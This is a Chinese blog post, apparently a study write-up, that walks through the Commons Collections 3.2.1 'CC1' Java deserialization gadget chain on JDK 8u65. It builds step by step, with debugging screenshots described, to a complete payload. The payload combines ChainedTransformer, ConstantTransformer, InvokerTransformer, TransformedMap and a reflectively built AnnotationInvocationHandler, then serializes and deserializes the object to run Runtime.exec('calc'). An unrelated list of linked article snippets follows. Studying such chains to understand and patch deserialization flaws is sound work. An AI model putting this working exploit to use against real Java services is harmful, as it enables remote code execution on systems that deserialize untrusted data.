当前位置: 首页 > news >正文

Java安全-CC1

CC1

这里用的是组长的链子和yso好像不太一样,不过大体上都是差不多的。后半条的链子都是一样的,而且这条更短更易理解。yso的CC1过段时间再看一下。

环境

Maven依赖:

    <dependencies><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>

在这里插入图片描述

JDK

8u65

openjdk

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
下载后把里面的sun放在jdk的src里面。
sun的目录在jdk-af660750b2f4\src\share\classes下
在这里插入图片描述
在这里插入图片描述

这样子才能调试,否则class文件是无法调试的
在这里插入图片描述

开始

新建一个Maven项目,要记得设置好Maven的路径,避免后续的调试过程中遇到反编译代码无法下载或者其他睿智问题。
开始结构:
在这里插入图片描述

我们可以了解一下接口Transformer,这个接口就接受一个Object类然后利用方法transform:
在这里插入图片描述

我们可以按住ctrl+H查看改接口的实现类:
在这里插入图片描述

我们这里看几个实现类:
ChainedTransformer.java

//构造方法public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}//transformerpublic Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}

这个类的transformer是一个链式,即前一个的输出作为后一个的输入。

ConstantTransformer

public Object transform(Object input) {return iConstant;
}

InvokerTransformer.java

//构造函数private InvokerTransformer(String methodName) {super();iMethodName = methodName;iParamTypes = null;iArgs = null;}/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.* * @param methodName  the method to call* @param paramTypes  the constructor parameter types, not cloned* @param args  the constructor arguments, not cloned*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}//transformer/*** Transforms the input to result by invoking a method on the input.* * @param input  the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

这个类里面有一个method.invoke(input, iArgs);非常类似于后门的写法。这也是CC1的漏洞利用点。

首先手撸CC1的第一步,基于这个类写一个弹计算器。

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class Test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {Runtime runtime = Runtime.getRuntime();new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);}
}

这样子就在InvokerTransformer类的基础上实现了恶意命令执行。即我们现在确定了终点,我们需要凭借这个一路向上寻找直到找到某个类重写了readObject并且能够执行到这里的链子。
首先我们从transformer方法入手,看看什么类调用了transformaer
在这里插入图片描述

最终我们确定了一处checksetValue
在这里插入图片描述

在这里插入图片描述

这里使用了valueTransformer调用transform
我们就需要知道

  • valueTransformer是什么
  • 它是怎么被赋值的
  • 我们能否控制它

不难找到在一处地方对他进行了赋值,这里是protected TransformedMap对他进行赋值,那我们需要寻找那里调用了TransformedMap。
在这里插入图片描述

可以看到静态方法调用了它
在这里插入图片描述

但是这些都解决了我们还需要找入口触发checkSetValue
它的父类AbstractInputCheckedMapDecorator.setValue调用了checkSetValue,我们以此作为入口
在这里插入图片描述

知识小补充:
对于不熟悉Map的我们需要知道有一个遍历Map的常用方法:
在这里插入图片描述

这一个entry就代表一个键值对。我们可以在这里调用setValue

手撸第二步,基于这个链子我们再弹一个计算器

目的很明确,我们需要赋值valueTransformer为InvokerTransformer
而静态方法调用了它,并且是直接传值进去,所以我们就可以开始构造

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("aaa", "bbb");Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);for(Map.Entry entry:decorate.entrySet()){entry.setValue(runtime);}}
}

在这里插入图片描述

现在我们的目标就是寻找一个能够遍历数组的地方调用setValue(value) value可控。我们想要寻找谁调用了setValue并且是在readObject里面调用,如果不是在readObject里面调用就需要再看谁的Object里面调用了触发setValue的方法,需要多走一层。
幸运的是不用多走一层。我们找到了AnnotationInvocationHandler类readObject里面调用了setValue
在这里插入图片描述

我们关注一下名字,Annotation就是Java里面注解的意思,所以这个类是和Java注解有关的一个类
可以注意到这里不是public
在这里插入图片描述

所以我们需要反射调用
再来看构造方法

//构造方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

第一个参数是继承了Annotation的泛型,即注解,如@Override
第二个参数是Map类型

我们来看一下调用setValue(value)这个value我们是否可控?
在这里插入图片描述

发现这个value是一整个,我们似乎不可控,再来看第二个问题
在这里插入图片描述

Runtime没有继承Serialize,是不可以进行序列化的。
我们先解决这个不能序列化的问题。不能序列化的话,我们可以利用反射来解决。因为Class是继承了Serialize的。

手撸第三步,构造可序列化的Runtime

我们观察InvokerTransformer的构造方法,传入三个参数:

  • 参数一
    • 要执行的方法名字
  • 参数二
    • 参数的类型,是一个Class数组
  • 参数三
    • 具体参数,是一个Object数组

在这里插入图片描述

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}

再来看InvokerTransformer的transformer方法:
在这里插入图片描述

    public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}}

接收一个Object,并且执行Object的method(InvokerTransformer传入的method)
即Object.method.
所以我们根据

        Class c = Runtime.class;Method getRuntime = c.getMethod("getRuntime",null);Runtime r = (Runtime) getRuntime.invoke(null, null);Method exec = c.getMethod("exec", String.class);exec.invoke(r,"calc");

转换为:

Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

这个怎么转换的?以First的1、2两行转换为Second第一行为例:

我们需要调用c的 getRuntime 方法,即c.getRuntime
所以 c 为 transformer 的传入此参数,即InvokerTransformer.transform(Runtime.class)

那么InvokerTransformer里面的参数是什么?

第一个参数
getMethod为需要执行的方法,所以第一个方法名就是getMethod

第二个参数
Class数组,数组里面的值取决于传入方法的参数,以getMethod为例
在这里插入图片描述
可以看到getMethod需要传入两个参数,第一个参数是String类型的,第二个参数为Class类型的数组
所以这里就是 new Class[]{String.class, Class[].class}

第三个参数
传入的参数,我们这里需要获取getRuntime这个方法名和getRuntime的形参,这里为null。因为getRuntime里面没有形参

所以最终的结果就是

Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

而我们发现这个形式就是前一个的输出作为后一个的输入,刚好可以用ChainedTransformer类的transformer方法来解决:

Transformer[] transformers = {new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

手撸第四步,从readObject入口拼凑链子

上面说了我们的入口是AnnotationInvocationHandler的readObject
在这里插入图片描述

这里刚好有 memberValue.setValue(xxx); 的形式
我们需要能控制 memberValue 才能走到下一步直到终点。
但是在执行 memberValue.setValue(xxx) 之前有两个判断
因为AnnotationInvocationHandler是私有的,所以我们通过反射实例化它:

Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationDeclaredConstructor.setAccessible(true);
Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);

我们按照

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {Transformer[] transformers = {
//                new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("keykey", "valuevalue");Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);annotationDeclaredConstructor.setAccessible(true);Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));objectOutputStream.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));return objectInputStream.readObject();}
}

这串代码进行调试:
在这里插入图片描述

结果发现在memberType那一步就die了,因为这里是获取了我们的keykey之后又获取了keykey的成员类型
因为我们传入的Override没有成员
在这里插入图片描述

所以我们需要传入有成员的注解,比如target:
在这里插入图片描述

target里面有一个成员名字是value,所以这里我们需要把keykey改成value,这样子获取我们的键value之后就会寻找target注解是否有成员value
改完之后发现我们可以进判断了:
在这里插入图片描述

第二个判断是判断是否可以强转,这里不可以就不需要管他了。

接下来就是最重要的memberValue能否控制了,我们跟进去调试看看:
在这里插入图片描述

继续跟进
在这里插入图片描述

跟进
在这里插入图片描述

可以看见这里的形式和我们开始的形式是一致的,我们对比一下:
:::info
chainedTransformer.transform(Runtime.class)
valueTransformer.transform(value);

显而易见这里的value我们就可以传入Runtime.class对象了
但是问题是怎么作为输入传进去

我们可以回顾上面的一个类ConstantTransformer
:::
ConstantTransformer 的构造函数:

public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}

这里对iConstant进行赋值。

然后transformer方法:

    public Object transform(Object input) {return iConstant;}

所以很明显他的任务就是输入什么返回什么。
这刚刚好满足了chainedTransformer的入口,只要传入new ConstantTransformer(Runtime.class)那么后面就会链式调用,前一个的输出作为后一个的输入最终成功调用执行命令。
所以确定最终payload:

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class Test {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {Transformer[] transformers = {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("value", "value");Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);annotationDeclaredConstructor.setAccessible(true);Object o = annotationDeclaredConstructor.newInstance(Target.class, decorate);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));objectOutputStream.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));return objectInputStream.readObject();}
}

执行结果:
在这里插入图片描述

这就是CC1,学习了好几天总是弄出点门道来。做此纪录以便日后复习。

相关文章:

Web入门

SQL注入 数据库基础 *关系型数据库: #Access#MSSQL -- 1433*非关系型数据库: #MySQL -- 3306#Oracle -- 1521等对MySQL数据库的操作 1.显示数据库 show databases;2.显示数据库版本 select version(); 3.使用数据库 use XXX;4.显示当前正在使用的数据库 selec…...

P5782 [POI2001] 和平委员会

P5782 [POI2001] 和平委员会 题目链接 思路: 因为 \(u\) 和 \(v\) 矛盾,即 \(\lnot (u \land v)\)。 转化成 \(\lnot u \lor \lnot v\) 。那么根据 \(2-SAT\) 标准处理方式。转化为: \((u \rightarrow \lnot v) \land (v \rightarrow \lnot u)\)。 这里有个小技巧:我们将下…...

关于idea部署本地项目的问题

因为我部署问题的时忘记把问题截图,所以我这边使用网上的截图。 这个错误信息表明,你正在尝试运行一个由更高版本的Java编译的Spring Boot应用程序,而你当前使用的Java运行时(JRE)版本过低,无法识别这个应用程序的类文件版本。 它这边提示应用程序中的类文件版本是61.0,…...

代码随想录算法训练营第十一天 | 20.有效的括号 1047.删除字符串中的所有相邻 重复项 150.逆波兰表达式求值

20. 有效的括号 题目链接 文章讲解 视频讲解思路:遍历字符串,如果栈不为空,则进行匹配如果匹配则出栈,否则入栈如果栈为空,直接入栈遍历结束后栈为空则说明全部匹配,否则没有全部匹配class Solution { public:bool isValid(string s) {stack<char> st;for(char ch …...

pg_probackup 包含新建表空间的备份及恢复

https://zhuanlan.zhihu.com/p/615986944...

Docker启动 Redis提示:Cant initialize Background Jobg

今天使用docker启动redis失败,但是查看容器日志,除了提示 Fatal:Cant initialize Background Jobg,没有其他错误信息。经过长时间查找资料及试错,现记录下可能的产生原因及解决方案,以便以后参考。 产生原因:宿主机安装的docker版本太低,同镜像所需的版本不匹配 解决方案…...

Java安全-CC1

CC1 这里用的是组长的链子和yso好像不太一样&#xff0c;不过大体上都是差不多的。后半条的链子都是一样的&#xff0c;而且这条更短更易理解。yso的CC1过段时间再看一下。 环境 Maven依赖&#xff1a; <dependencies><dependency><groupId>commons-colle…...

【得到日期对象NSDate的各个部分 Objective-C语言】

一、得到日期对象NSDate的各个部分,年月日时分秒 1.例如,我这儿有1个NSDate对象, NSDate *date = [NSDate date]; 这个日期里面是不是有年、有月、有日、有时、有分、有秒 我想单独的拿到这个日期里面的年,该怎么拿 用date.year属性,行吗,不行,因为没有这个属性 用…...

前端面试常考 | CSS垂直居中解决方案

文章目录一. 前言二. flx布局实现三. Grid布局实现四. 绝对定位transform五. 绝对定位负margin五. 绝对定位calc六. 定位加margin一. 前言 前段时间刷到一篇帖子&#xff0c;说面试竟然遇到了CSS的考点&#xff0c;让回答CSS实现垂直居中的方式有哪些?&#xff0c;都2022年了…...

Flink中的UDF的实现

Flink 的 Table API 和 SQL 提供了多种自定义函数的接口&#xff0c;以抽象类的形式定义。当前 UDF 主要有以下几类&#xff1a; 标量函数&#xff08;Scalar Functions&#xff09;&#xff1a;将输入的标量值转换成一个新的标量值&#xff1b;表函数&#xff08;Table Funct…...

Linux教程

Linux 目录结构 /bin&#xff1a;&#xff08;binary&#xff09;存放的是一些二进制文件&#xff0c;但是在Linux中二进制文件是可以被执行的。这个目录中的命令文件是给普通用户使用&#xff08;非超级管理员用户&#xff09;。 /etc&#xff1a;Linux下所有的配置文件都会…...

1.3 Apache Hadoop的重要组成-hadoop-最全最完整的保姆级的java大数据学习资料

文章目录1.3 Apache Hadoop的重要组成1.3 Apache Hadoop的重要组成 HadoopHDFS(分布式文件系统)MapReduce(分布式计算框架)Yarn(资源协调框架)Common模块 Hadoop HDFS&#xff1a;&#xff08;Hadoop Distribute File System &#xff09;一个高可靠、高吞吐量的分布式文件系统…...

【蓝桥杯】第十四届模拟赛第一期及第二期填空汇总

目录 1.A题&#xff08;进制位数&#xff09; 位运算符 第一期 问题描述 解析 第二期 解析 代码 2.B题&#xff08;日期问题&#xff09; 第一期 问题描述 解析 代码实现 执行结果 第二期 问题描述 解析 3.C题&#xff08;数学问题&#xff09; 第一期 问题…...

Go学习之路-环境搭建

默认运行设备系统&#xff1a;MacOS 安装 安装包下载地址&#xff08;下面3个都可以&#xff09;&#xff1a; https://studygolang.com/dl https://golang.google.cn/dl/ https://golang.org/dl/ 我这里选择 pkg包、一键安装、默认的安装路径 /usr/local/go 环境 设置go语言…...

Siamese Neural Network (SNN: 孪生神经网络)

【学习参考】&#xff1a; https://blog.csdn.net/MyArrow/article/details/122539749https://blog.csdn.net/MyArrow/article/details/122539749 Siamese network 孪生神经网络--一个简单神奇的结构 - 知乎 (zhihu.com)https://zhuanlan.zhihu.com/p/35040994 【Siamese和Ch…...

22个每个程序员都应该知道的 Git 命令

在这篇文章中&#xff0c;我写了一个快速学习 git 命令的备忘单。它将包括开发人员每天使用的命令&#xff0c;如 git add、git commit、git pull、git fetch&#xff0c;并共享其他有用的 git 命令。 我一直使用Git的一些命令&#xff0c;今天这个列表清单&#xff0c;希望也…...

Android动画——使用动画启动Activity

1、使用动画启动Activity概述 我们在Android开发应用时&#xff0c;会遇到一个页面跳转到另一个页面的情况&#xff0c;这时候我们如果使用动画过渡会使得页面更加的流畅。这是一个滑动式的进入和退出的动画可以看到Android的过渡动画可以在不同状态之间建立视觉联系。您可以为…...

【YOLO系列改进NO.46】改进激活函数为ACON

文章目录 前言一、解决问题二、基本原理三、​添加方法四、总结前言 作为当前先进的深度学习目标检测算法YOLOv7,已经集合了大量的trick,但是还是有提高和改进的空间,针对具体应用场景下的检测难点,可以不同的改进方法。此后的系列文章,将重点对YOLOv7的如何改进进行详细…...

JavaScript -- 09. 内置对象的介绍

文章目录内置对象1 解构赋值1.1 保留默认值1.2 接受剩余的所有参数1.3 对函数执行结果解构1.4 交换两个变量的值1.5 二维数组结构2 对象的解构2.1 声明对象同时解构对象2.2 先声明再解构2.3 解构不存在的属性2.4 设置解构别名2.5 设置解构默认值3 对象的序列化3.1 对象的序列化…...

Spring核心与设计思想

⭐️前言⭐️ 这篇文章作为Spring篇目的开篇&#xff0c;带领大家认识Spring&#xff0c;知道为什么要用Spring框架&#xff0c;以及了解Spring的核心与设计思想。 &#x1f349;博客主页&#xff1a; &#x1f341;【如风暖阳】&#x1f341; &#x1f349;精品Java专栏【Jav…...

Java的字符串String

文章目录什么是字符串String类的声明为什么我们的String是不可变的为什么String类用final修饰String的创建字符串比较相等关于Java中的比较关于字符串不同赋值操作对应的内存分配那对象如何进行比较内容字符串常量池StringTalbe的位置字符串常见的操作拼接操作获得字符串的子串…...

net-java-php-python-网络安全教育学习网站计算机毕业设计程序

net-java-php-python-网络安全教育学习网站计算机毕业设计程序 net-java-php-python-网络安全教育学习网站计算机毕业设计程序本源码技术栈&#xff1a; 项目架构&#xff1a;B/S架构 开发语言&#xff1a;Java语言 开发软件&#xff1a;idea eclipse 前端技术&#xff1a;…...

git分支详解——记住这些指令能帮助你解决大部分git的分支问题

Github 之 分支 branch 操作之 查看分支/创建分支/切换分支/提交分支/删除分支/合并分支 等操作 一、简单介绍 二、查看分支 1、查看本地所有分支&#xff1a;git branch 2、查看远程有哪些分支&#xff1a;git branch -r 3、查看所有分支&#xff08;本地和远程的&#xff09;…...

jdk11新特性——JShell交互性工具

目录一、jshell概述二、jshell位置三、jshell示例3.1、示例一&#xff08;声明变量并赋值&#xff09;3.2、示例二&#xff08;输出打印内容&#xff09;3.3、示例三&#xff08;帮助命令&#xff09;一、jshell概述 java9引入了jshell这个交互性工具&#xff0c;让Java也可以…...

Git全套,从简到细

Git DravenGit一、git工具引入二、git本地工具2.1、下载2.2、使用2.3、修改2.4、查看历史版本2.5、回退历史版本2.6、起死回生三、git远程仓库3.1、使用gitee3.2、配置本地仓库参数3.3、查看gitee仓库3.4、修改后推送四、git两人协作-非冲突小智小杨五、git两人协作-冲突六、gi…...

【分布式能源的选址与定容】基于非支配排序多目标遗传优化算法求解分布式能源的选址与定容(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…...

基于PHP+MySQL托管中心管理系统的设计与实现

随着在校学生人数的不断增加,学生的数量也在不断的增加,但是很多时候因为父母工作忙没时间,以及一些其他的原因没办法对学生间辅导,这就诞生了托管中心这一行业,但是传统的托管中心多是人工手动的模式进行管理的,这很不科学也不合理,为了改变这一现状,我们开发了托管中心管理系…...

【算法】排序——直接排序

内部排序的全部过程都是在内存中进行的。按排序策略的不同可以将内部排序划分为直接插入排序、冒泡排序、简单选择排序、希尔排序、快速排序、堆排序、归并排序、基数排序等。其中前三种排序方法属于简单的排序方法&#xff0c;其特点是排序过程直观、易于理解和实现&#xff0…...

华为高级技术专家多年经验分享微服务治理体系、架构及实践文档

前言 都说程序员工资高、待遇好&#xff0c; 2022 金九银十到了&#xff0c;你的小目标是 30K、40K&#xff0c;还是 16薪的 20K&#xff1f;作为一名 Java 开发工程师&#xff0c;当能力可以满足公司业务需求时&#xff0c;拿到超预期的 Offer 并不算难。然而&#xff0c;提升…...

HTML+CSS网页设计期末课程大作业 【茶叶文化网站设计题材】web前端开发技术 web课程设计 网页规划与设计

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…...

数据结构与算法(六) 贪心算法

这篇文章来讲贪心算法&#xff08;Greedy Algorithm&#xff09;&#xff0c;这是一种特殊的动态规划算法 1、本质 我们在之前的文章中讲过&#xff0c;动态规划可以解决一类具有最优子结构和重叠子问题特征的问题 贪心算法本质上是一种特殊的动态规划算法&#xff0c;因此在…...

LeetCode-1774. 最接近目标价格的甜点成本【数组,背包问题,优化暴力,回溯】

LeetCode-1774. 最接近目标价格的甜点成本【数组&#xff0c;背包问题&#xff0c;优化暴力&#xff0c;回溯】题目描述&#xff1a;解题思路一&#xff1a;转化为0-1背包求解。一&#xff1a;因为每种配料最多可以用两次&#xff0c;所以直接把每种辅料变成两个。二&#xff1…...

Python封装机制及实现方法

大部分语言都具备 3 个典型特征&#xff0c;即封装、继承和多态。 简单的理解封装&#xff08;Encapsulation&#xff09;&#xff0c;即在设计类时&#xff0c;刻意地将一些属性和方法隐藏在类的内部&#xff0c;这样在使用此类时&#xff0c;将无法直接以“类对象.属性名”&…...

Flet 教程大全合集

Flet是什么 Flet 是一个框架,使您能够轻松地以您喜欢的语言构建实时 Web、移动和桌面应用程序,并与您的团队安全地共享它们。无需前端经验。 Flet有什么优势 Flet有什么特点 在几分钟内从想法到应用程序 用于您的团队、周末项目、数据输入表单、信息亭应用程序或高保真原型…...

mongodb整合springbootQ

SpringBoot整合MongoDB_一个冬天的童话的博客-CSDN博客_mongodb的依赖SpringBoot整合MongoDB的过程https://blog.csdn.net/m0_53563908/article/details/1268980981&#xff0c;环境配置 1.引入依赖 <dependency><groupId>org.springframework.boot</groupId&g…...

【吴恩达机器学习笔记】十一、聚类

✍个人博客&#xff1a;https://blog.csdn.net/Newin2020?spm1011.2415.3001.5343 &#x1f4e3;专栏定位&#xff1a;为学习吴恩达机器学习视频的同学提供的随堂笔记。 &#x1f4da;专栏简介&#xff1a;在这个专栏&#xff0c;我将整理吴恩达机器学习视频的所有内容的笔记&…...

BUUCTF Misc 黑客帝国 [MRCTF2020]你能看懂音符吗 [HBNIS2018]caesar [HBNIS2018]低个头

黑客帝国 下载文件 一长串16进制&#xff0c;复制到在线16进制转文本 很明显是一个RAR文件&#xff0c;使用脚本将16进制转换成文件 import binasciihex_data这里填十六进制数据 outopen(res.rar,wb) out.write(binascii.unhexlify(hex_data)) out.close() 需要密码&#xff…...

基于多目标灰狼算法的冷热电联供型微网低碳经济调度(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…...

Linux系统启动过程总结

Linux系统启动过程总结 1、Linux 中 rc.local、init.d、rc.x、init 这几个文件(夹)各有什么作用?启动执行的脚本应该均放在 rc.local 中吗? - 知乎 2、/etc/inittab文件详解_muxi01lingyi的博客-CSDN博客_/etc/inittab /etc/inittab文件详解 - 莘莘学子 - 博客园 3、Li…...

防火墙ssh详解讲解

♥️作者&#xff1a;小刘在C站\ ♥️每天分享云计算网络运维课堂笔记&#xff0c;一起努力&#xff0c;共赴美好人生&#xff01; ♥️夕阳下&#xff0c;是最美的&#xff0c;绽放。 目录 一.防火墙配置对外的默认 二.防火墙配置内部ospf 三.防火墙远程管理 四.远程管理…...

Java【String】【StringBuilder】【StringBuffer】你都会用吗

文章目录前言一、常用的方法1、字符串构造2、字符串比较3、字符串查找4、字符串转化5、字符串替换6、字符串分割7、字符串截取二、字符串的不可变性三、StringBuilder、StringBuffer总结前言 在校招和笔试过程中&#xff0c;字符串是相当频繁被问到的话题&#xff0c;在之前的…...

Himall商城Xml帮助类 XML序列化 OSS策略

#region XML序列化 OSS策略 /// <summary> /// XML序列化 /// </summary> /// <param name="obj">序列对象</param> /// <param name="filePath">XML文件路径</param> /// …...

【人民币识别】人民币序列号识别【含GUI Matlab源码 908期】

⛄一、简介 本文描述的人民币序列号识别系统实现了从图像预处理到识别结果的过程, 而序列号识别是本文的重要内容.以序列号区域为研究对象, 主要包括图像预处理、图像分割以及序列号识别等过程。 1 图像预处理 人民币图像总体上来说灰度偏高, 灰度值基本上都大于150 (对8位25…...

html静态网站基于动漫网站网页设计与实现共计4个页面

HTML实例网页代码, 本实例适合于初学HTML的同学。该实例里面有设置了css的样式设置&#xff0c;有div的样式格局&#xff0c;这个实例比较全面&#xff0c;有助于同学的学习,本文将介绍如何通过从头开始设计个人网站并将其转换为代码的过程来实践设计。 ⚽精彩专栏推荐&#x1…...

Himall商城Zip帮助类压缩文件(Zip)

public class ZipInfo { /// <summary> /// 解/压缩成功状态 /// </summary> public bool Success { get; set; } /// <summary> /// 解/压缩结果信息 /// <…...

MyBatis-Plus条件构造器[常用的模糊查询、排序查询、逻辑查询和指定字段查询案例]

系列文章目录 Mybatis-Plus知识点[MyBatisMyBatis-Plus的基础运用]_心态还需努力呀的博客-CSDN博客 Mybatis-PlusSpringBoot结合运用_心态还需努力呀的博客-CSDN博客MyBaits-Plus中TableField和TableId用法_心态还需努力呀的博客-CSDN博客 MyBatis-Plus中的更新操作&#x…...

cubeIDE开发, 如何结合FreeRTOS开发STM32程序

一、STM32CubeIDE使用内置的FreeRTOS 不同于STM32CubeIDE使用像RTThread这些第三方物联网系统&#xff0c;STM32CubeIDE在安装时就已经在MiddleWare中间件一栏直接支持了FreeRTOS操作系统。 既然STM32CubeIDE已经把FreeRTOS深度整合到了自家的系统中&#xff0c;所以移植及使用…...

写给儿子的一封信

